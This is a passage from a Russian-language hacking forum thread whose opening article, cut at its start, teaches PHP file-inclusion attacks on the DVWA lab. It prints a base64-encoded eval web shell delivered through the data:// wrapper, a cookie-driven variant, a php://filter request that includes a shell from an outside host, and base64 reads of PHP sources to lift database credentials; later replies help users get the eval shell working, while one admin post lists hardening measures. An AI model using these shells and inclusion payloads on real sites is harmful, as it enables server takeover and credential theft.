Первая часть – указание протокола, используемого для передачи данных ([b]data). Далее указаны тип передаваемых данных (application/x-httpd-php) и алгоритм их сжатия (base64). Последующие символы (PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOyA/Pg==), как вы уже могли догадаться, - base64 код нашего шелла (<?php eval($_GET['cmd']); ?>). Смысл оставшейся части запроса очевиден – передаём значение параметра cmd (для функции eval в шелле), а именно – код phpinfo();.

Вот мы уже и получили базовый шелл. Метод GET использовался здесь, опять же, для наглядности. На практике рекомендуется использовать COOKIE.
<?php eval($_COOKIE[cmd]); ?> в base64 кодировании имеет вид:
code:
PD9waHAgZXZhbCgkX0NPT0tJRVtjbWRdKTsgPz4=
Also…

В тех случаях, когда протокол data по каким-либо причинам нельзя использовать, но нужно обойти ограничения на использование протокола http (в данном случае об обходе фильтрации символов речи не идёт), можно воспользоваться протоколом php:
http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/resource=http://our.hosting.ru/shell.txt

При этом все параметры подключаемому скрипту нужно передавать только методом POST. Соответственно нужно изменить и код скрипта. Кстати, запрос идёт через пост напрямую по протоколу php и все фильтры на сайте идут лесом.

Работает в php версий >= 5.1.0.

Читаем содержимое php файлов

Как вам известно, при инклуде файлов .php, они исполняются, и их содержимое никогда не выводится. Но если нельзя, а очень хочется - то можно. Содержимое php файлов можно вывести через инклуд, применив уже знакомый нам протокол следующим образом:

http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=include.php

Выведет содержимое указанного файла (include.php) в base64. Останется только расшифровать.
Особенно полезно в тех случаях, когда не получается залить шелл. Можно прочитать файлы конфигов с данными подключения к БД. например.

Работает в php версий >= 5.0.0.

Вот и всё…

…что я могу вам рассказать. Сначала мне хотелось написать в заключение статьи что-нибудь умное, дать какие-то наставления на дальнейшее изучение этой и других уязвимостей, сказать что-то унылое типа «до встречи в следующих статьях»… но потом решил, что конец должен быть неожи
__________________
wut...?
Пользователь вне форума    
Наши Спонсоры
  , 00:07   #2
Постоянный
 
Аватар для Dinga
 
Регистрация: 17.02.2011
Сообщений: 506

Репутация: 18 / 1
По умолчанию

А вот если там не php, а htm?
code:
Warning: include(articles/test.htm)
 

Последний раз редактировалось _Werewolf_; 20.02.2014 в 23:57. Заявка на редактирование утверждена 20.02.2014 в 23:58.
Пользователь вне форума    
  , 07:21   #3
Продвинутый
 
Регистрация: 30.06.2009
Сообщений: 1,407

Репутация: 85 / 2
По умолчанию

Читая твои статьи, не покидает чувство большого старания при написании и простоты изложенного для понимания, без соплей и уходов в драматическое объяснение сути, после которой статья или книга превращается в тяжёлое чтиво. У тебя же, всё лаконично и понятно.
Не удержался и сделал вариант в .pdf для себя, и добавить его для других, прошу простить мне данную своевольность, но возможно кому то будет удобно в таком варианте.


Скачать статью в формате .pdf
 
Пользователь вне форума    
  , 20:02   #4
Продвинутый
 
Аватар для M@ZAX@KEP
 
Локация: 404 - Not Found
Регистрация: 14.05.2009
Сообщений: 2,831

Репутация: 616 / 8

HPC Activity Medal 
По умолчанию

sibrik, стараемся. =) А pdf-ка хай живёт, спасибо.

Dinga, этот вопрос задан для того, чтобы задать вопрос? Ты же не читал статью? Если бы читал, не прошёл бы мимо параграфа "Null-byte".
__________________
wut...?
Пользователь вне форума    
  , 21:46   #5
Новичок
 
Регистрация: 25.08.2010
Сообщений: 11

Репутация: 0 / 0
По умолчанию

Очень хорошая статья, [email protected]@KEP! Есть одно маленькое замечание, ссылки на php функции, если не трудно, поставь на какой нибудь русский источник например php.su.

Добавлено через 2 минуты
Если не секрет, сколько времени уходит на написание такой стати?
 

Последний раз редактировалось _Werewolf_; 20.02.2014 в 23:59. Заявка на редактирование утверждена 21.02.2014 в 00:02. Причина: Добавлено сообщение
Пользователь вне форума    
  , 13:06   #6
Продвинутый
 
Аватар для M@ZAX@KEP
 
Локация: 404 - Not Found
Регистрация: 14.05.2009
Сообщений: 2,831

Репутация: 616 / 8

HPC Activity Medal 
По умолчанию

hard_rock_o, предпочитаю официальную документацию. =)
По длительности написания трудно сказать. Начал ещё в мае, но не каждый день же я этим занимался. =)
__________________
wut...?
Пользователь вне форума    
  , 19:10   #7
Admin
 
Аватар для SokoL
 
Локация: hpc.name
Регистрация: 17.05.2008
Сообщений: 1,208
По умолчанию

Некоторые основные меры безопасности:

* Внимательно проверьте права всех файлов и каталогов на сайте. Закройте по айпи все админки, полностью закройте доступ из веба ко всем каталогам, в которых хранятся скрипты и файлы, которые инклудятся.
Весьма желательно, чтобы напрямую из веба нельзя было получить доступ ни к каким файлам с правами на запись, кроме файлов, находящихся в каталогах для загрузки файлов.

* Запретите выполнение php скриптов в каталогах, где разрешена загрузка файлов.
Таким образом, даже если злоумышленнику удастся залить шелл, он не сможет получить к нему доступ напрямую.

* Скрипты, которые выполняются в cron'e, не должны иметь права на запись (например, во избежание ситуаций когда злоумышленнику удается изменить скрипт, запускающийся из cron под правами root'a, и получить доступ к root аккаунту).

* Отдельного упоминания заслуживает фукнция eval. Старайтесь использовать ее как можно реже. Запретите php запись в файлы шаблонов, которые выполняются в eval, да и вообще изменение всех данных, которые потом тянутся в какой-либо скрипт для выполнения в eval.

* Внимательно изучите настройки php.ini, в том числе те, о которых написано в первом посте. Правильная настройка php позволит создать надежную и прочную основу для продуманных и хорошо написанных скриптов, а так же сгладить некоторые непродуманные вещи в скриптах.

Ну и конечно же изучайте сорцы ваших скриптов, очень важна проверка входящих параметров, и уделите особое внимание csrf, поскольку, например, возможность успешной отправки злоумышленником запросов к форме от вашего имени - это уже потенциальная проблема. Ну и конечно же использование в инклудах данных, полученных от пользователя - весьма плохая идея.
__________________
You never know how better can be.
http://newday.name/sokol
Пользователь вне форума    
  , 13:10   #8
Новичок
 
Регистрация: 28.03.2010
Сообщений: 2

Репутация: -2 / 0
По умолчанию

Проверял для теста...
Создал index.php и положил в него код:
code:
<?php
	eval($_COOKIE['cmd']);
?>
При отправке cmd=phpinfo(); ошибка...
Цитата:
Parse error: syntax error, unexpected $end in W:\html\test\www\index.php(2) : eval()'d code on line 1
Подскажите в чём ошибка.
 

Последний раз редактировалось 5maks5; 14.08.2011 в 13:17.
Пользователь вне форума    
  , 03:39   #9
Новичок
 
Регистрация: 04.01.2011
Сообщений: 4

Репутация: 0 / 0
По умолчанию

Цитата:
Сообщение от 5maks5 Посмотреть сообщение
Проверял для теста...
Создал index.php и положил в него код:
code:
<?php
	eval($_COOKIE['cmd']);
?>
При отправке cmd=phpinfo(); ошибка...


Подскажите в чём ошибка.
Добавлено через 1 час 0 минут
совсем не могу понять относительно кук. нужно создать куку с параметрами cmd=phpinfo();, и в адресной строке набрать localhost/shell.php, или как?
 

Последний раз редактировалось comcomco; 17.08.2011 в 04:40. Причина: Добавлено сообщение
Пользователь вне форума    
  , 09:02   #10
Продвинутый
 
Аватар для M@ZAX@KEP
 
Локация: 404 - Not Found
Регистрация: 14.05.2009
Сообщений: 2,831

Репутация: 616 / 8

HPC Activity Medal 
По умолчанию

comcomco, нужно для хоста localhost создать куку "cmd" со значением phpinfo(); и обратиться к http://localhost/shell.php

Добавлено через 3 минуты
5maks5, сам код у тебя рабочий. Видимо, ты неправильно отправлял запрос. Если хочешь слать через http://localhost/shell.php?cmd=phpinfo(); напиши так:
code:
<?php
	eval($_GET['cmd']);
?>
или
code:
<?php
	eval($_REQUEST['cmd']);
?>
__________________
wut...?

Последний раз редактировалось [email protected]@KEP; 18.08.2011 в 09:06. Причина: Добавлено сообщение
Пользователь вне форума    
  , 13:04   #11
Новичок
 
Регистрация: 04.01.2011
Сообщений: 4

Репутация: 0 / 0
По умолчанию

Цитата:
Сообщение от [email protected]@KEP Посмотреть сообщение
comcomco, нужно для хоста localhost создать куку "cmd" со значением phpinfo(); и обратиться к http://localhost/shell.php

Добавлено через 3 минуты
5maks5, сам код у тебя рабочий. Видимо, ты неправильно отправлял запрос. Если хочешь слать через http://localhost/shell.php?cmd=phpinfo(); напиши так:
code:
<?php
	eval($_GET['cmd']);
?>
или
code:
<?php
	eval($_REQUEST['cmd']);
?>

о, спасибо большое!

Добавлено через 1 час 11 минут
что-то с куками не выходит никак. пустое окно и всё. в чем может быть загвоздка?
 

Последний раз редактировалось comcomco; 18.08.2011 в 14:16. Причина: Добавлено сообщение
Пользователь вне форума    
  , 21:51   #12
Продвинутый
 
Аватар для M@ZAX@KEP
 
Локация: 404 - Not Found
Регистрация: 14.05.2009
Сообщений: 2,831

Репутация: 616 / 8

HPC Activity Medal 
По умолчанию

Неправильно куки устанавливаешь значит.
source:
<?php
setcookie("cmd", "phpinfo();");
?>
__________________
wut...?
Пользователь вне форума    
  , 02:52   #13
Новичок
 
Регистрация: 04.01.2011
Сообщений: 4

Репутация: 0 / 0
По умолчанию

Цитата:
Сообщение от [email protected]@KEP Посмотреть сообщение
Неправильно куки устанавливаешь значит.
source:
<?php
setcookie("cmd", "phpinfo();");
?>
Получилось. Cоздал cookies.php, вставил вышеприведенный скрипт, сунул в localhost, вызвал его, потом вызвал localhost/shell.php... До этого пробовал устанавливать cookies через расширение cookies manager+ в firefox. Параметр phpinfo(); не работал. По-ходу, знаки "();" нужно было предварительно отредактировать в ascii-hex converter.

Добавлено через 53 минуты
да вообще полностью конвертить параметр в ascii-hex
 

Последний раз редактировалось comcomco; 19.08.2011 в 03:46. Причина: Добавлено сообщение
Пользователь вне форума    
  , 22:20   #14
Продвинутый
 
Аватар для M@ZAX@KEP
 
Локация: 404 - Not Found
Регистрация: 14.05.2009
Сообщений: 2,831

Репутация: 616 / 8

HPC Activity Medal 
По умолчанию

Цитата:
да вообще полностью конвертить параметр в ascii-hex
Нет, в url-encode.
__________________
wut...?
Пользователь вне форума    
  , 02:49   #15
Новичок
 
Регистрация: 04.01.2011
Сообщений: 4

Репутация: 0 / 0
По умолчанию

Цитата:
Сообщение от [email protected]@KEP Посмотреть сообщение
Нет, в url-encode.
ну да. в принципе и тот и другой прокатывает.
 
Пользователь вне форума    

Метки
file inclusion, include, lfi, php-include, php-injection, rfi, заливка шелла

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Редакторы PHP кода Mafan PHP 33 25.12.2018 11:06
Коды ошибок Windows REGION66 Новичкам 1 08.12.2010 23:53
[Обзор] Ошибки Windows Sma1L Новичкам 1 14.10.2010 21:59
отчетник GIPING Раздачи 0 25.02.2010 15:35
Оптимизация PHP кода: 7 принципов Mafan PHP 0 24.10.2009 05:09



Часовой пояс GMT +2
Powered by vBulletin® 3.x.x Copyright ©2000 - 2012, Jelsoft Enterprises Ltd.

Copyright © 2008 - 2013 «HPC» Реклама на сайте Правила Форума Пользовательское соглашение Работа на сайте
При копировании материалов ставьте ссылку на источник
Все материалы представлены только в ознакомительных целях, администрация за их использование ответственности не несет.